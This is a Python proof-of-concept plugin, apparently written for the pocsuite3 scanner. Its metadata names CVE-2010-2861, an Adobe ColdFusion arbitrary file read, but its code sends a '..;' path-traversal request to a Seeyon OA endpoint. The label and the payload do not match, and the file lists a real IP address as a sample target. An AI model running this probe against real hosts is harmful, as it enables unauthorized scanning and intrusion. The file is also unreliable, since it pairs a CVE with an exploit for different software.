class TestPOC(POCBase):
    vulLevel = 3
    vulID = 'CVE-2010-2861'
    version = '1.0'
    author = ['360漏洞云']
    vulDate = '2010-10-07'
    createDate = '2021-10-26'
    updateDate = ''
    references = ['https://nvd.nist.gov/vuln/detail/CVE-2010-2861']
    name = 'Adobe ColdFusion 文件读取漏洞'
    appPowerLink = 'https://www.adobe.com/cn/'
    appName = 'Adobe ColdFusion'
    appVersion = ''
    vulType = '任意文件读取漏洞'
    desc = '''
Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞，可导致未授权的用户读取服务器任意文件。
    '''
    samples = ['https://59.46.196.54:444']
   
   
    def _verify(self):
        result = {}
        upr = urlparse(self.url.strip('/'))
        if upr.port:
            ports = [upr.port]
        else:
            ports = [80,443]
        for port in ports:
            target = '{}://{}:{}'.format(upr.scheme, upr.hostname, port)
            vulurl=target.strip("/")+"/seeyon/thirdpartyController.do.css/..;/ajax.do"
            try:
                resp = requests.get(vulurl,verify=False,allow_redirects=False,timeout=15 )
                if  'NullPointerException:null'  in resp.text:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = vulurl
            except Exception as e:
                # print(e)
                logger.error(f"connect target '{self.url} failed!'")
        return self.parse_output(result)

    def _attack(self):
        self._verify()

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output
register_poc(TestPOC)